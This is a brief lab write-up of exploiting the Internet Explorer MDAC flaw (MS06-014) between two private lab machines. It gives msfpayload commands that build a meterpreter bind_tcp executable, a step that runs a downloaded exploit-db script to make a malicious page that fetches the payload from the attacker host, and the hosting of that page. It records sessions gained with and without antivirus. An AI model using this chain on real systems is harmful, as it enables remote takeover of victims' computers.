Lab Exercise

MS Internet Explorer (MDAC) Remote Code Execution Exploit (MS06-014)

http://www.exploit-db.com/exploits/2052/ CVE-2006-5559

Victim machine on Attacker Machine on

192.168.168.128 (Windows XP SP2 with IE 6 ) 192.168.168.129 (Backtrack 4)

Generating the payload exe in msfconsole msfpayload windows/meterpreter/bind_tcp S #will give options

msfpayload windows/meterpreter/bind_tcp RHOST=192.168.168.128 X > bind_tcp.exe #generates the payload exe which is without any encoding

Using the code from exploit-db link

Download the code from link, renaming it to .py extension and execute:/bin/sh code.py http://192.168.168.129 /bind_tcp.exe page.html

Copy the bind_tcp.exe and page.html to apache directory in /var/www in BT4.

When the victim visits Browser used = IE6

http://192.168.168.129/page.html

No antivirus or 3rd party firewall. Windows Firewall enabled. (Screenshots from next page)

Unblocking done by victim

Meterpreter Session achieved

F-Secure Anti-Virus installed and re-trying the above :

Exploit completed, But no session was created.